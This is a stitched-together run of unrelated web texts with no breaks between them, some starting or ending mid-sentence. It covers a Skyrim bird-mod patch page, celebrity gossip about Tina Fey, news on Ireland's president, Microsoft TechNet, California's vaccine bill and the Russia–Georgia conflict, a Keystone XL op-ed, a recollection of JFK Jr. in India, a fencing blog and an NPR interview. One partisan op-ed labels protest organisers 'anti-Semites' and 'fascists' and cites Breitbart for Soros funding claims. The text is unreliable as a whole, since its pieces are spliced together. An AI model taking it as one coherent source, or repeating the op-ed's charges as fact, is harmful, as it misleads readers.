This doesn't take anything away from his ample defensive qualities, nor does it negate his surprising adeptness at passing. But every Arsenal fan must feel that knot in their stomach when a striker is charging down Mertesacker in possession.
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158. Nicolas Lombaerts
157. Laurent Kos
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would mean explaining to Nocturnal why he's been gone for so long.Since Poe is just a clever little raven, he has decided that he already is home, in the Hag's Cure of Markarth......living in the distant sparkle he used to dream about. Which is why he'll yell at you for knocking stuff over in his home.Q: Why make a backstory for Poe?A: In the past, when Bethesda introduced the easter egg merchants, it was kinda like, "Hey, here are some crazy merchants with alot of gold. Have fun."At least with Poe, you know who he is, why he is there, and why he is a merchant. Best part is, it's even more lore-friendly!Crow's Wood is a location in the Evergloam, where intelligent talking crows live, that the player can visit in Elder Scrolls Online.Unfortunately, he doesn't actually talk about any of this, as the Ebonmere has been closed for awhile by the time you meet Poe.My patch works as intended. I can't be held responsible for every mod out there.However, if you ask nicely, I can always make more compatibility patches for other mods.Special note:The birds are slow moving, so they will get caught in crossfire occasionally. Usually only if AOE's are being used.Like in the original mod, they'll respawn if they do die.This patch might have compatibility issues with other mods that alter the vanilla faction system. I'm looking at you skyTest, lol.Good news is, this patch makes it so that this mod, can easily have compatibility patches made for it, for mods like skyTest.This will be compatible as long as animals aren't being assigned entirely new factions. Editing the vanilla system should be ok.I originally made these tweaks for my own personal use. Seeing as how well it worked for me, I've decided to share.Don't know what Birds of Skyrim is? It's one of the best bird mods ever put on the nexus! Check it out if you haven't already!It's also been featured on Skyrim GEMS (Encounter Mods > Wildlife Encounters). http://skyrimgems.com/ Check out the videos in the videos tab if you'd like to see the original mod in action!1.) Download and install USLEEP by Arthmoor http://www.nexusmods.com/skyrim/mods/71214/ 2.) Download and install Birds of Skyrim by Qasiermo. Use only 0.6.5 http://www.nexusmods.com/skyrim/mods/17723/ 3.) Download and install the patch from this mod. Allow it to overwrite the esp. DONE!4.) If having any issues with the bird follower's dialogue, then additionally install Relationship Dialogue Overhaul Mr. Siika Ravens and Vultures https://www.nexusmods.com/skyrim/mods/59602/ Qasiermo for Birds of Skyrim http://www.nexusmods.com/skyrim/mods/17723/ TES5Edit by Sharlikran http://www.nexusmods.com/skyrim/mods/25859/
Carboniac for many helpful tips! Arthmoor for Unofficial Skyrim Legendary Edition Patch http://www.nexusmods.com/skyrim/mods/71214/ steve40 for Birds of Skyrim SSE http://www.nexusmods.com/skyrimspecialedition/mods/3097/ Huge thanks to weijiesen for sharing his feather effect shader atlasesBethesda Softworks for Creation KitThis is just a modified esp. Qasiermo has been given editing access for this mod, and has endorsed these patches.The work I did on this mod was nothing compared to the original hard work Qasiermo did. Endorse his mod first before endorsing this one.Qasiermo has my permission to use this patch in any way he sees fit, and he does not have to credit me. This mod is his mod.Screenshot is from Qasiermo's mod page. Videos are also of Qasiermo's original mod.- Re-introduce new changes from Birds of Skyrim SSE to this patch.- More birds in more locations.- skyBirds - Airborne Perching Birds by steve40Please refer to the comments page for more information regarding SkyBirds.SkyBirds contains a sound injector specifically tailored for Birds of Skyrim!DO NOT USE ASIS WITH SkyBirds!!! ASIS breaks the birds unless you add it to the BlockList.txt file of ASIS.- skyBirds USLEEP Performance Patches by Ruhadre http://www.nexusmods.com/skyrim/mods/76065/ - Ducks and Swans for Skyrim 1_1 by Tamira- Seaside Seagulls by Jokerine- Birds and Flocks - Ruhadre Patch by Ruhadre https://www.nexusmods.com/skyrim/mods/91666/ - Birds of Skyrim SSE Edition by Qasiermo and steve40 http://www.nexusmods.com/skyrimspecialedition/mods/3097/ As of 2.5, my patch has been partially integrated into the main mod. As of 2.6, my patch has been fully integrated plus a lot more.Qasiermo - For endorsing this patch/expansion.steve40 - For helping me better understand how all 3 major bird mods worked, and for being an outstanding modder!Birds of Skyrim SSE Edition http://www.nexusmods.com/skyrimspecialedition/mods/3097/ (collaboration w/ steve40)Maxine - Zombie Follower https://old.nexusmods.com/skyrim/mods/87934/ (collaboration w/ Samulis)A simple quick general guide I made to help others: Mods for Dummies 101
Want an easy way to endorse mods? Download History
Want to "meet" me? Here I am being interviewed on youtube: https://www.youtube.com/watch?v=1Cm2xL00cvMApparently, sexy nerd comedian Tina Fey has a scar on her face that she keeps covered up. How'd she get what the NY Post classily calls the "Fey-mous" mark? Somebody slashed her face. When she was five. For no reason. That's what her husband told Maureen Dowd for Vanity Fair, which profiles Fey and features her on the cover as a scantily clad Uncle Sam. Tina herself won't discuss the matter because she doesn't want to "exploit" it.
Liz Lemon favors her right side. That's because a faint scar runs across Tina Fey's left cheek, the result of a violent cutting attack by a stranger when Fey was five. Her husband says, "It was in, like, the front yard of her house, and somebody who just came up, and she just thought somebody marked her with a pen." You can hardly see the scar in person. But I agree with Richmond that it makes Fey more lovely, like a hint of Marlene Dietrich noir glamour in a Preston Sturges heroine.
Well, damn. Now we just love her more.President Michael D Higgins has launched an attack on some of his critics for being simply abusive of his office.
President Michael D Higgins has launched an attack on some of his critics for being simply abusive of his office.
The head of state said he would not name those whom he accuses of being intentionally contentious and insisted he would continue to speak out on issues.
But he referred explicitly to a newspaper article last week in which he was described as the "least bad of the bunch" in last year's presidential election.
"I do think it was entirely wrong to refer to the President as... the best of a bad bunch, or something like that," he said.
"We don't need to go there and I certainly will not go there."
Mr Higgins defended a lecture he gave on ethics and said some of the criticism has been a complete distortion of what he said.
The President said people must be allowed to explore issues and debate them and likened any suggestion of censorship to medieval times.
Vowing to continue to air his views, he hit out at those who disagreed with him for descending into personal abuse.
The President's lecture at Dublin City University almost two weeks ago led to accusations that he was biased in favour of left-wing thinkers and economics.
"It was simply untrue to say that I drew on one group of scholars... it's too easy to say it's either one side or the other," he said.
"What you do if you are an intellectual, if you are trying to do intellectual work - no more than you would in science - you take the model and you ask what assumptions it's based on."
But Mr Higgins scotched any suggestion that there was an agenda to silence him.
"No, there is not at all, that would be ridiculous, it wouldn't work," he said.
"We must be able to be rigorous and tough, and certainly the idea of asking anyone to be censored to just simply go into some kind of enforced silence, those days are gone, that's medieval thinking."
In the DCU lecture, Toward An Ethical Economy, Mr Higgins urged that economic decisions be based on fairness, not wealth.
He said he wanted to encourage debate in the media and suggested that the fallout from the 2008 financial crisis may not lie in a lack of the right answers to a crisis of capitalism but in an absence of the right questions.
It is not the first time during his presidency that Mr Higgins has defended his right to speak out on issues of public concern.
Following the death of Indian dentist Savita Halappanavar after she was refused an abortion as she miscarried, the President urged a thorough investigation and said he hoped women would be safer in the wake of her death.
He also spoke out on the European Union's response to the financial crisis in a speech in May.
Under constitutional rules, the President is obliged not to make political comment.
Speaking at the National Ploughing Championships in Stradbally, Co Laois, the President said he was very aware of what the Constitution allowed him to do and what it barred him from doing.
Mr Higgins said he always refrains from any comment on government policy.
"But I think it is very important as President that I reflect the feeling of the people and I try do that," he said.
"But I try to do it in a way that I'm encouraging an openness and transparency and debate about the assumptions that are behind the different way we might go."
Against the backdrop of global austerity, Mr Higgins reiterated his concerns about the "narrowness" of international economic thinking and said people needed to draw on as many arguments as are available and let the public make up their minds about how to improve lives.
"I stay out of the day to day very deliberately because that is what the Constitution requires," he said.
"But I also know what the Constitution allows and I'm very much using that."
Press AssociationMicrosoft has decided to extend the life of its TechNet service for 90 days, but will still kill the popular service and suggest subscribers migrate to the more expensive MSDN.
Microsoft has let subscribers know of the extension in an update to its Subscriptions page for the service.
The offer's only open to “customers whose TechNet Subscriptions:
Were active as of September 1, 2013 Expire on or before September 30, 2014 Have not been granted through the Volume Licensing program”
Microsoft will notify eligible subscribers of the extension in coming days and weeks.
Redmond says the extension has been made “In response to customer feedback” and to give “active subscribers additional time to prepare for the TechNet Subscriptions retirement”.
Michael Siddall, an Australian TechNet subscriber who has created a Save TechNet LinkedIn group told The Register he feels the extension represents a “token effort”.
“I'm a bit amused,” he said. “Most people in the LinkedIn group have already got subcriptions going into 2014 or even 2016, so a 90 day reprieve is a token effort.”
Siddall said he thinks the 90 day grace has been created “to give Microsoft time to cobble something together for Microsoft Certified Trainers (MCTs), but if they are going to come to the table for MCTs they should come to the table for everyone including Microsoft Certified Professionals.”
On top of Microsoft's recent decision to cancel three high-level certifications, Siddall feels Redmond is trying to move sysadmins to cloud services. Such an arrangement doesn't work well for Siddall in Australia's low bandwidth, high latency, environment. Nor does Microsoft's free alternative of trialware work, because Siddall feels his busy life means licences can expire before he has a chance to complete his investigations.
“With life and work you don't always have time to study for the 180 days trialware works,” he said. “Building those base lab configs from scratch again is not something I would enjoy doing, but if you want to get real in-depth knowledge to implement software you need more than 180 days to fully see how it will integrate.”
A change.org petition calling on Microsoft to “Continue TechNet Or Create An Affordable Alternative To MSDN” offers similar sentiments and has gathered over 11,000 signatures, but needs 3900 more to achieve its goal.
Whether or not the petition reaches its target, Siddall believes Microsoft needs to re-connect with its users.
“I think MSFT needs to sit down with us the professionals, because we are ultimately the people who drive the decision making process.” ®News filtered down this week that, to try to help hanging-by-a-thread Louisiana senator Mary Landrieu, the outgoing Senate Democratic leadership may allow a vote on the Keystone XL pipeline during congress’s lame-duck session. This would give Landrieu one more chance to suck up to her voters by … once more screwing Venezuela.
The same Landrieu who killed the sanctions bill against Venezuelan officials known to have violated human rights is now actively scheming to secure a vote that could, over the longer term, do more damage to more Venezuelans than anything else on the U.S. political agenda right now.
What does this lady have against us, anyway?
Of course, President Obama could still veto the bill: he’s under intense pressure from environmentalists who, for some reason, have decided that this – Keystone XL – is the hill they will die on.
It’s really quite odd, Keystone XL. Think about drugs: educated people generally have no trouble seeing the hopelessness of a supply-interdiction strategy. People grasp that the War on Drugs can’t work: if you crack down on production in one place, you just fatten up the margins for producers in another. Crack down on trafficking here, and you create extra rents to trafficking over there. The “balloon theory” to explain the futility of supply-disruption policies is not in serious doubt.
And yet, suddenly, ask a gringo leftie about applying the same damn lesson to oil and everyone goes insane.
I like to think of it as Keystone XL Derrangement Syndrome: the way perfectly reasonable North American environmentalists take leave of their senses when this benighted pipeline is mentioned. Thinking that not building the pipeline will somehow decrease oil consumption makes no sense.
And yet, I really hope they succeed in stopping it: not because I think it’ll make the slightest bit of difference to Greenhouse Gas emissions – it won’t – but because deep down, beneath the sedimentary layers of cynicism, I’m still a Venezuelan patriot, and Keystone XL is a disaster for Venezuela.
The strategic picture gets blurred in all the derangement. But back to basics: Keystone XL is designed very specifically to elbow Venezuelan heavy crude out of the Gulf Coast refining market.
The whole idea that if you stop Keystone XL, somehow less oil is produced and consumed is infantile: the question isn’t “how much?” it’s “where from?” (And if you think exploiting the Orinoco Belt is less environmentally dicey than piping oil through Nebraska, there’s a mountain of coke in Jose I’d like to sell you.)
If the Venezuelan government had the bandwidth to think longer term – which it manifestly doesn’t – it would grasp Keystone XL as a key strategic threat. The main reason anyone would want to take Canadian oil to the Gulf Coast is because that’s where the refineries that can handle crappy, high-sulphur, high-tar content crude are. And the whole reason they’re got built there in the first place is to handle Venezuelan crude. This is why KeystoneXL is such an important piece of the North American Energy Independence puzzle: it’s what it takes to shut Venezuela out of the North American market.
Of course, a government that’s long made it positively a policy goal to shift Venezuelan production away from the U.S. may not be able to register that as a threat. Ideology is always going to prevail with them. But that’s only the umpteenth policy mistake the Venezuelan government made today before breakfast.
Even in a post-Keystone XL future where Venezuela doesn’t have access to North American energy buyers, Venezuela will find buyers for its oil, of course. It’s just that it will have to ship that oil further to get it to refineries that will need to be reconfigured (or built from scratch) to handle it, and each part of that costs money: money Venezuela could use for any of the thousand pressing and growing policy problems going unaddressed right now.
Listen, Venezuela wastes so much money in so many crazy ways right now, it’s easy to get blasé or, worse, to give in to the nihilism that says “well, it’s just money that would go to chavistas anyway, who cares?”
BS. This isn’t about chavistas or non-chavistas, this is about bedrock national interest. Stopping Keystone XL should be one of Venezuela’s top foreign policy priority regardless of who is in power.
Caracas Chronicles is 100% reader-supported. Support independent Venezuelan journalism by making a donation.During a recent speech at the National Federation of Atheist, Humanist and Secularist Student Societies 2014 Convention, philosopher A.C. Grayling went on a tangent from his talk about Humanism to discuss the Creation Museum (19:10 mark):
… I visited the Creation Museum. I kid you not. My ghast was flabbered, the minute I set my foot across the threshold of that place. They have these sort of electronic vegetarian Tyrannosaurus rex playing with the children of Adam and Eve in the Garden of Eden. I mean, the really dismaying thing about it was the troops and troops and troops of small schoolchildren being taken through and presented with all this as fact. That seems to me to be a human rights crime.
Maybe not quite that, but it’s certainly damaging to their educational careers, to be taught that fiction is fact and to be told scientists still debate this issue. It’s not fair to the kids — who may not encounter a voice of reason anytime soon.
(via Why Evolution is True)Photo
India in 1983 was still in its infant stages of economic development; however, like today, it was a popular destination among Westerners with its marketable poverty, a lingering sense of spirituality, mysticism and a rich history.
Around 20 years after United States President John F. Kennedy was assassinated in Dallas, his son, John F. Kennedy Jr., was ready to take on the world as a fresh 23-year-old history graduate from Brown University. After finishing his education, he took a working year off in which he traveled to India to spend some time at Delhi University, where he researched topics of his personal interests like food production, health and education.
Having the fortunes, or misfortunes, of being attached to that famous American family name, Mr. Kennedy’s India trip was well designed to protect his identity through a collaborative effort by both Indian and American governments. In Delhi, instead of the American Embassy, Mr. Kennedy stayed at various places, from the dingy hotels of Pahar Ganj in the center of the city to the embassies of America’s allies.
At the same time, during Delhi’s winter season, Narendra Taneja, a journalist (who is also the father of this reporter), was a regular attendee of the city’s expat “wine-and-cheese” scene. At one such do at the Irish Embassy, he met a young man who was staying at the residence of the embassy’s second secretary, on the floor, in a sleeping bag.
“We just got talking, and I asked him where he was staying for his trip to Delhi, and he, with a smirk, pointed towards a corner of the room’s floor,” Mr. Taneja recalled.
“At that time, I had just shifted to Delhi and was staying in a professor’s house in.I.I.T,” the Indian Institute of Technology, he said. “The professor was traveling abroad for a few months and had lent me his big four-room house. I had a lot of space so I offered this guy a room, seeing that he was sleeping on the floor. He took up the offer, and after some time we took a tuk-tuk and left for my place.”
Mr. Taneja continued, “As we talked sitting in the living room and having instant noodles for dinner later that night, he brought out his diary and started to flip pages, showing his written musings about travels, family and so on. As he flipped through the pages, there were photos of him and his family. After quick glances, I started to realize that most of his pictures were with John F. Kennedy and his wife, Jackie Kennedy.
“I inquired about the photographs, and he replied, ‘Well, they are my parents,’ and that is when I realized I had John F. Kennedy Jr. living in my house. We had a very interesting chat for the rest of the evening about his life in America.”
The very next morning, an American Embassy official visited Mr. Taneja. He asked about Mr. Kennedy’s residence there and asked Mr. Taneja to make sure Mr. Kennedy’s presence was not leaked to the press or any other such institution.
But somehow a professor at I.I.T. discovered Mr. Kennedy’s identity and that he was living on campus. He called Mr. Taneja and asked whether Mr. Kennedy would like to come over for tea.
“I hesitated but agreed, telling him no one else should know about him staying here,” Mr. Taneja said.
When they reached his place, they found that the professor had also ended up inviting 20 other people in an attempt to show off his clout, that he knew John F. Kennedy’s son.
“We decided to stay even though I had asked him specifically not to let anyone know,” Mr. Taneja said. “After a while, the professor decided to ask John a question, and he asked, ‘So do you remember when your father was assassinated?’ John, aghast, looked at me, and I stared at the professor in disbelief that this question was actually tabled to him.
“We left his house within minutes, and I apologized to him. ‘It’s O.K., it’s just that no one ever asks me that,’ he said.”
The next day, Mr. Taneja was preparing to go to a small town near Agra called Tundla, and Mr. Kennedy expressed his wish to join him as well. Upon being told that the travel included crowded trains in third-class compartments, he insisted that travel conditions did not bother him.
“He not once complained throughout his stay about anything. In fact, he even took up some typical Indian traits, such as haggling with the tuk-tuk driver over the price of the journey,” Mr. Taneja said.
They reached Tundla, a town in the state of Uttar Pradesh, where life was based around the Indian Railways, which operated a big train junction. After moving around for a while and meeting a host of locals, Mr. Kennedy was introduced to an Indian jyotishee, or a palm reader. He obliged when the palm reader offered to read his hand, and sat down with him.
After a few minutes, the palm reader looked at him, then at his hosts, and announced, “This man is the son of a king,” Mr. Taneja recalled.
This sudden statement took Mr. Kennedy back by surprise, Mr. Taneja said. As his identity was not to be divulged, no one said anything, but the palmist continued and asked him, “You have to be the son of a king. Who are you?”
Later that day, struck by the palmist’s comments, Mr. Kennedy insisted on going back to him, but this time alone. He ended up spending two hours with the jyotishee, and what was discussed between the two remains between them.
“John spent a week with me before making his way to Varanasi and then on to Kolkata,” then called Calcutta, Mr. Taneja said. “Even until Varanasi he went in a third-class, non-air-conditioned train without a confirmed reservation, sharing the everyday experience of the common folk of India.”
Little is known about Mr. Kennedy’s trip to the spiritual city of Varanasi on the banks of the Ganges, but in Kolkata he was hosted by another journalist at the request of the Indian government. Upon arriving in the City of Joy, he stayed with M.J. Akbar and his family at their residence in the Chitralekha building.
“He stayed with us for a week,” said Mr. Akbar. “It was great fun having him. I remember that women used to line up around the staircase of the building as he ran up and down, bare bodied, for eight floors whenever there was no electricity and the lift would not work.
“He was well informed about U.S. politics, and we had some good debates on topics such as the era of imperialism in America and India,” he recalled.
While in Kolkata, Mr. Kennedy also visited Mother Teresa’s Missionaries of Charity headquarters as part of his study, along with other institutions in the city.
“Even after he left, we stayed in touch,” said Mr. Taneja. “He sent me copies of his magazine, George, which he started in 1995.”
Mr. Kennedy died in a plane crash on July 16, 1999, along with his wife, Carolyn Bessette-Kennedy, and sister-in-law, Lauren Bessette. Prayers were offered in Kolkata by Mother Teresa’s order of nuns, remembering him not as a Kennedy, but as that down-to-earth, idealistic student.
Kabir Taneja is a freelance journalist, you can contact him on Twitter @KabirTaneja.Step into The Camel the first Tuesday of every month and you just might learn something.
The atmosphere of The Camel was a little different this past Tuesday. Self-described as a “space for music, art, poetry, video, political forums, and conversation–anything that brings people together in the spirit of a free flow of ideas,” The Camel featured a strong spirit of curious minds coming together for the fourth meeting of Science Pub RVA.
Instead of a band setting up onstage and groups of Richmonders with black Xs on their hands, I was greeted with a table holding sticker name tags and a few Camel workers setting up a microphone and screen for a presentation. Those who registered for Science Pub were walking around, talking to others wearing name tags and enjoying their drinks.
Science Pub RVA is a branch of the popular “science cafes” that are found in various cities throughout the world, coming all the way from England. Thanks to the coordinator, Cynthia Gibbs, we now have one in Richmond! This past Tuesday was the organization’s fourth meeting, and due to word-of-mouth, Facebook, and other media, had the organization’s largest turnout yet.
Cynthia said that “science is definitely a part of our culture.” Her goal for the meetings is to present a wide variety of science to a wide variety of audiences. Basically, she wants people to get interested and talk about science. So, while listening to NPR, she learned of a study on voting behavior. To her, it seemed like the perfect topic of discussion with the upcoming presidential election next month. Research of a bright political mind to present on the topic ensued, and Gibbs found Dr. Ernest B. McGowen, assistant professor of political science at the University of Richmond.
Dr. McGowen, upon presenting, handed out a quiz consisting of five two-part questions taken from various studies on why people vote. The rundown of the entire presentation goes as follows: political ads don’t have much of an effect; professional callers and door-to-door canvassing are preferred; text message reminders are increasing and matter most to those in their 20s; the propensity of citizens to vote and salience of the election do NOT matter. So basically, many types of citizens vote every four years, we read a lot of texts and don’t mind a few more about politics, and we enjoy the personal touch of professional callers and door-to-door contact.
Another fun fact I learned was that many states require bars to close down on Election Day. Virginia, the beautiful place that it is, does not.
A beneficiary of the absence of such a law is Ali Bullano, one of the friendly bartenders at The Camel. She was able to talk to me after the presentation ended, but it took awhile to close tabs and clean up after the larger-than-expected group of Science Pub goers left. She remarked on how this was without a doubt, the biggest turnout the meeting has ever had. The mix, according to Ali, is of scientist-esque people to “suave” VCU students, and there have even been some who have originally come to drink at The Camel, but ended up sitting in on the presentation. People like to know things, and with science cafes, those who choose to come can learn about the subject, talk about it, and get to know some decent people along the way.
Although they meet the first Tuesday of every month, there will be no Science Pub RVA in November because of Election Day (11/6). However, there is a Facebook event encouraging those who are interested to go to The Camel, have a drink, and watch the election results. The next official meeting will be December 4. The subject of conversation has not yet been decided, but it will, without fail, prove to be just as enticing as the previous four.
— ∮∮∮ —
Science Pub RVA is looking for volunteers! Those who’d like to help out with this creative endeavor should meet this Tuesday, October 9, at The Camel.Bowing to concerns from parents and lawmakers that children would be denied an education, a state senator on Wednesday delayed a vote on a bill requiring most California parents to vaccinate their children as a condition of enrolling them in private or public schools.
As they did for last week’s vote, hundreds of parents, many trailing or toting children, massed in the corridors of the state Capitol to voice their strenuous opposition to Senate Bill 277. They implored lawmakers not to pass a bill they denounced for allowing the state to dictate how people raise their children.
But while lawmakers on the Senate Health Committee last week sided with the proponents framing the measure as a bulwark for public health, on Wednesday members of the Senate Education Committee were more sympathetic to critics who said they would be forced to deprive their kids of the education to which they are constitutionally entitled.
“The bigger question here is the penalty for not immunizing their kids is that you have to... home-school... and I don’t think that’s a solution to the problem,” said Sen. Carol Liu, D-La Cañada Flintridge, who leads the Senate’s education panel. She questioned how to balance “the purpose of public safety and the right for everyone to have access” to education.
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With both Democratic and Republican lawmakers expressing similar doubts, Sen. Richard Pan, D-Sacramento, agreed to postpone a vote on his bill until next Wednesday.
“If I were you, I would not take a vote today,” Liu warned Pan at the close of an hours-long hearing. “Otherwise I don’t think your bill proceeds out of this committee.”
Between now and then, Pan and his allies will try to negotiate amendments to the bill to win over lawmakers on the education panel.
“If there are changes that will make the bill better, we should take the time to consider them,” Pan said in a statement.
California is one of 19 states permitting parents to cite a personal belief exemption if they wish to enroll children in school without being fully vaccinated. Bursts of illnesses like whooping cough and measles have led legislators to propose closing off the personal belief avenue via Senate Bill 277. Pan called a recent measles outbreak at Disneyland “symptomatic of the low immunization rates” prevailing in pockets around the state.
“We’ve basically been accumulating larger and larger numbers of unvaccinated people, Pan said, “which is part of the reason this measles outbreak was able to spread.”
In his effort to counteract that trend, Pan has won the support of public health officials, medical professionals and educators. School groups like the districts encompassing Los Angeles and San Francisco, the California State Parent-Teacher Association and the California School Boards Association back the bill, though the powerful California Teachers Association has not taken a formal support or oppose position.
“The school community clearly recognizes what is in best interest of school kids,” said Sacramento City Unified School District board member Jay Hansen.
But many of the parents who lined up for well over an hour to testify said the hazards of vaccines outweigh the benefit of keeping kids in school. Many opponents of the bill contend that vaccines pose a serious health risk, citing anecdotes of children injured by vaccines.
Numerous parents testified that they would pull their kids out of school if the bill becomes law, though some said they could not afford to home-school their children. In requiring vaccinations as a prerequisite for enrolling children in school, detractors said, the bill would legalize institutional discrimination.
“A measles outbreak does not justify the elimination of the fundamental right to education for a substantial minority of California citizens,” said Robert Moxley, a Wyoming-based lawyer who represents people injured by vaccines.
Senators echoed those concerns. Sen. Loni Hancock, D-Berkeley, called SB 277 “draconian.” Sen. Connie Leyva, D-Chino, declined to support the bill, saying it could put an obstacle between children and education.
“Home-schooling my children would not have been option for my husband and I had we chose not to vaccinate our children,” Leyva said. “I was working, my husband was working, and I don’t even know that I would have been the best person to home-school my children.”
The sole lawmaker who said he would vote for the bill, Sen. Marty Block of San Diego, demanded a “better or less restrictive educational solution” ahead of a Senate floor vote, should the bill advance that far. In so saying he aligned himself with legislators urging Pan to return to the drawing board.
“I don’t think it’s fully cooked,” added Senate Minority Leader Bob Huff, R-Diamond Bar, who said he would oppose the bill.
Even parents who already educate their children at home are wary, according to a representative of a home-schooling organization. Lawmakers cited questions about access to public school curricula and the treatment of home-based private schools.
“Most of the folks that I work with are continuing to oppose the bill,” said Nathan Pierce, a legislative liaison for the Private & Home Educators of California.
Worries about children missing an education overrode Pan’s argument that SB 277 ensures access to education for children who cannot be vaccinated, like those suffering from weakened immune systems.
“What about the rights of those families to bring their children to school without being at risk of potentially catching a serious disease?” Pan asked.
While Pan noted that many schools have fallen below the 90 percent immunization rate threshold needed to establish the “herd immunity” protecting such children, skeptics called overall immunization levels sufficient. The statewide opt-out rate for kindergarteners was 2.5 percent at the start of this school year, a slight decrease from the former year, though some districts and counties sat well above that.
“My reading of the community immunity levels was that we’re pretty much there in California,” said Hancock, who saw multiple constituents testify against the bill on Wednesday.
Daily attendance numbers play a role in determining how much money schools receive – the more students in seats, the more dollars schools receive. Though the issue did not surface at Wednesday’s hearing, Pan spokeswoman Shannan Martinez said critics have raised the prospect of lost revenue in office visits with lawmakers.
“We’re hearing this flawed message a lot,” she said. A fact sheet circulated by Pan’s office rejected that argument as a “scare tactic.”
While the bill would allow parents to get exemptions for medically fragile children, critics call the bar to get those exemptions prohibitively high. A mother opposed to the bill recounted going to great lengths to win exemptions for two children she described as having compromised immune systems.
“It is difficult for doctors to understand what qualifies for a medical exemption, and they are extremely reluctant to write one for fear of retaliation or liability,” said Lisa Bakshi of Roseville. “There is no crisis,” she added. “Our students are safe.”We haven’t seen very many draw cuts over the last year on the men’s A-grade sabre circuit, compared to the golden days of Nicholas Lopez and Won Wooyoung. They’re not that effective any more as a lot of fencers have started delaying the extension of the hand on the attack. This is kind of a shame, as they just have so much flash.
However, they’re still around. Here’s a very nice one from Antonio Lam in the semifinal of Asian Games. JungHwan Kim seems to be a good target for this sort of thing, as he does tend to extend his (incredibly long) arms very early in the attack, but he’s so freaking quick that the timing has to be absolutely dead on. And it is so here:
Full match is available, albeit less shiny and high-definition than the very laggy and buggy bootleg official coverage:
…and just for the hell of it, here’s a bonus round: from Won Wooyoung, back in the good old days (2011). Won Wooyoung is the best. He just is. End of discussion.
Sad thing is, I literally had to go back to 2012 to find an example of him using a draw cut to actually score, as opposed to set up. Oh well, what goes around comes around.
For a lovely video from CyrusofChaos on the grand era of draw cuts around the Beijing Olympics, check this out.
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FacebookGeorgian Foreign Minister Eka Tkeshelashvili warned Sunday that the Russia-Georgia conflict could spark a "domino effect," the semi-official Anatolia news agency reported.
The conflicts between Russia and Georgia could spread to Ukraine or other countries, thus posing a serious threat (to regional security), said Tkeshelashvili, who arrived in Istanbul on Sunday for a working visit.
Tkeshelashvili told a joint press conference after talking with her Turkish counterpart Ali Babacan that Russia was making a unilateral and dangerous move by invading Georgia.
"It (Russia) declared independence of two regions in Georgia. We will not discuss any cooperation until we see that Russia is a reliable partner," she said.
"We cannot think
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fuel to an already volatile situation.
The fourth tier of the anti-Trump campaign involves mass protests, sit-ins and street demonstrations. The media elite like to portray these protests as grassroots but they are anything but. They represent a fringe minority, a cross-section of anarchists, fascists, Marxists, anti-Semites and radical feminists whose sole aim is to spread hate and sow the seeds of chaos. According to Breitbart News, many of the groups involved in organizing anti-Trump hate fests are financed by leftist billionaire George Soros through his “Open Society Foundations” organization.
One such group has scheduled a “Day without a Woman” rally for March 8. The group’s organizers represent the who’s who of the radical left but two stand out as among the worst of a rancid bunch.
The first is Angela Davis, a former Black Panther radical, unrepentant Marxist, notorious supporter of the BDS movement and purveyor of anti-Semitic canards, including the false claim that Israel practices Apartheid against Arabs.
During the height of the Cold War, Davis openly cavorted and collaborated with autocrats from Cuba and the Soviet Union. Her notorious brushes with law enforcement are well known. In 1970 her mug landed on the FBI’s Most Wanted list. She earned that dubious distinction as a felonious fugitive in connection with her role in a bloody kidnapping-murder incident at a Marin County courtroom in California that left a judge dead and a prosecutor paralyzed for life.
The second is Rasmieh Odeh. According to published reports, this vile woman has at least nine aliases. For those unfamiliar, a summary of Odeh’s life of terror, Jew-hatred and fraud can be found here. She was a member of the Popular Front for the Liberation of Palestine and in 1969, helped place a bomb in a Jerusalem supermarket that killed two Jewish youth in their early 20s. She served 10 years for her role in the plot but was released in a prisoner swap. Eventually, Odeh made her way to the U.S. where she fraudulently obtained citizenship by lying about her past during the naturalization process. Her criminal case is currently pending before the federal courts.
With malevolent organizers like that, it comes as no surprise that among the group’s litany of demands is a call for “the decolonization of Palestine” and the dismantling of “all walls, from prison walls to border walls, from Mexico to Palestine.” It is rather ironic that a feminist protest, which ostensibly seeks to advance woman’s rights, chooses a platform that delegitimizes and demonizes the only nation in the Mideast that protects women’s rights. The platform defies reason but then again, leftist anti-Semites are prone to anything but reason. Theirs is an ideology that is rooted in the same form of fascism that drives the radical right.
If the Democratic Party has an ounce of decency left in its decayed coffers, it would unequivocally disavow the organizers of the March 8th event and repudiate their platform. Sadly and predictably, with leaders like Keith Ellison, Elizabeth Warren and Bernie Sanders – who either share the pernicious views of Davis and Odeh or are too craven to oppose them – this will not occur.Why Is Poverty, Inequality Growing?
The number of people living in poverty is the highest it's been since the U.S. Census Bureau started tracking poverty estimates. Plus, the gap between those earning the most and the least continues to grow. Host Michel Martin discusses the current state of poverty and income inequality with two experts on the subject, Timothy Noah and Peter Edelman.
MICHEL MARTIN, HOST:
I'm Michel Martin, and this is TELL ME MORE, from NPR News. Later in the program, we are going to talk about a highly touted education program that's come under new scrutiny, including from a former member. We'll talk about the debate over Teach for America. That's in just a few minutes.
But first, we want to spend some time today talking about what was always expected to be the central issue in this presidential campaign: the economy. But specifically, we want to talk about whether this economy serves most people equally well. By now, it's clear what the lines of argument are: The Republican, Mitt Romney, is arguing that the economy needs more freedom and less regulation to offer more opportunity. President Obama is arguing that the economy needs more fairness.
And we'll just let you know up front that our next two guests have both written provocative books that both tilt to the fairness side of the argument, but they come at the question from slightly different perspectives. So we've put them together.
Peter Edelman is a professor of law and the faculty director of the Center on Poverty, Inequality and Public Policy at Georgetown University. He's been thinking about and writing about poverty for more than four decades, since he traveled through the Deep South with the late Senator Robert F. Kennedy. Professor Edelman also recently wrote the book "So Rich, So Poor: Why It's So Hard to End Poverty in America."
Also with us, Timothy Noah. He is a columnist and senior editor for the New Republic. He's the author of a new book called "The Great Divergence: America's Growing Inequality Crisis and What We Can Do About It."
Thank you both so much for speaking with us.
TIMOTHY NOAH: Thanks for having us.
PETER EDELMAN: My pleasure.
MARTIN: Peter, I'm going to start with you, because poverty is something that you've been thinking about for many, many years, as we've said. You say that you think that extreme poverty is actually increasing. Why do you say that?
EDELMAN: What's happened is that at the very, very bottom, we've lost cash assistance welfare for mothers and children. So the only thing that we have for people with really low incomes is food stamps. We have, now, 20.5 million people who have incomes below half the poverty line - that's below $9,000 for a family of three - and six million people whose only income is from food stamps. So that's a third of the poverty line, $6,000 for a family of three. That's just terrible, and it's the result of terrible public policy in the way in which the 1996 welfare law has played out.
MARTIN: Why has is it so hard to end poverty in this country?
